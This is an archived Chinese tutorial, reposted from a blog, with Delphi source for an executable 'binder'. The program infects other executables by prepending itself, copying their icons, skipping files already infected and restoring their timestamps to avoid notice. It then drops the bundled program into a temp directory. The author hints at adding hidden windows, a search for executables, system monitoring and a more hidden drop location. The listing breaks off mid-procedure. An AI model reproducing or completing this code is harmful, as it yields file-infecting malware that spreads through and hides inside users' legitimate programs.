捆绑执行文件新思维(第二版)[1]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 friecin 的 blog


最新功能:与其它程序捆绑后,图标为其它程序的图标
这个示范程序没有form,编译、压缩后仅40k,运行后不长驻内存
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...

程序中几个数字的确定:
1  在本程序编译后用aspack.exe压缩,大小为41472
2  经过分析,本程序在用aspack.exe压缩后,图标前面部分长40751,图标数据
   位于从第40752字节开始共640字节,图标后还有81字节

与其它程序捆绑的过程:
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部

怎么找到图标的位置:
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制
编辑软件载入,查找"99 99 99"字符串即可。以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用ultraedit。
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百k的文件没问题:
    http://guanbh.top263.net/download/hexedit.exe
}
program exe2;

uses
  classes,
  tlhelp32,
  windows,
  graphics,
  shellapi,
  sysutils;

{$r *.res}
var
  lppe:tprocessentry32;
  found:boolean;
  handle:thandle;
  processstr,exename:string;
  windir:pchar;
const
  mysize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}

procedure copy2(s:string);
var
  s1,s2,icostream:tmemorystream;
  file2:tfilestream;
  ch:array[0..1] of char;
  ss:string;
  filetime,fhandle:integer;
  l:integer;
  file2icon:ticon;
begin
  {若文件s不存在}
  if fileexists(s)=false then exit;
  try
    {若文件不含图标,就不捆绑}
    file2icon:=ticon.create;
    l:=extracticon(handle,pchar(s),0);
    if l=0 then
    begin
      file2icon.free;
      exit;
    end
    else
    begin
       {提取被捆绑程序图标}
       file2icon.handle:=extracticon(handle,pchar(s),0);
       icostream:=tmemorystream.create;
       file2icon.savetostream(icostream);
       file2icon.free;
    end;
    {判断文件s中有没有第2个程序头'mz'。若有,表示已经合并过}
    file2:=tfilestream.create(s,fmopenread);
    if file2.size>mysize then
    begin
      file2.position:=mysize;
      file2.read(ch,2);
      ss:=copy(ch,1,2);
      if ss='mz' then
      begin
        file2.free;
        exit;
      end;
    end;
    file2.free;
    {将本文件与文件s合并 本文件+s=s}
    s2:=tmemorystream.create;
    s2.loadfromfile(exename);
    s1:=tmemorystream.create;
    {
    加入本程序的前部40751字节
    第40752字节开始共640字节为图标数据
    !!以下数字 40751,81要根据实际情况修改!!
     }
    s1.copyfrom(s2,40751);
    {将图标换为被捆绑程序图标,图标大小为766}
    icostream.position:=126;
    s1.copyfrom(icostream,640);
    icostream.free;
    s2.position:=40751+640;
    {加入本程序的后部81字节}
    s1.copyfrom(s2,81);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,sofrombeginning);
    {加入被捆绑程序全部}
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=fileopen(s, fmopenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.savetofile(s);
    {恢复文件s的日期}
    fhandle:=fileopen(s, fmopenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
  except end;
end;

procedure createfileandrun;
var
  s1,s2:tmemorystream;
  tempdir:pchar;
  cmdstr:string;
  a:integer;
begin
  s1:=tmemorystream.create;
  s1.loadfromfile(exename);
  if s1.size=mysize then
  begin
    s1.free;
    exit;
  end;
  s1.seek(mysize,sofrombeginning);
  s2:=tmemorystream.create;
  s2.copyfrom(s1,s1.size-mysize);
  getmem(tempdir,255);
  gettemppath(255,tempdir);
  try
    {
    把文件释放到临时目录。
    如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录,
    如 c:\windows(or winnt)\d...(☆这是个什么目录?你去研究研究吧!☆)
    }

本文关键:捆绑执行文件新思维(第二版)
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top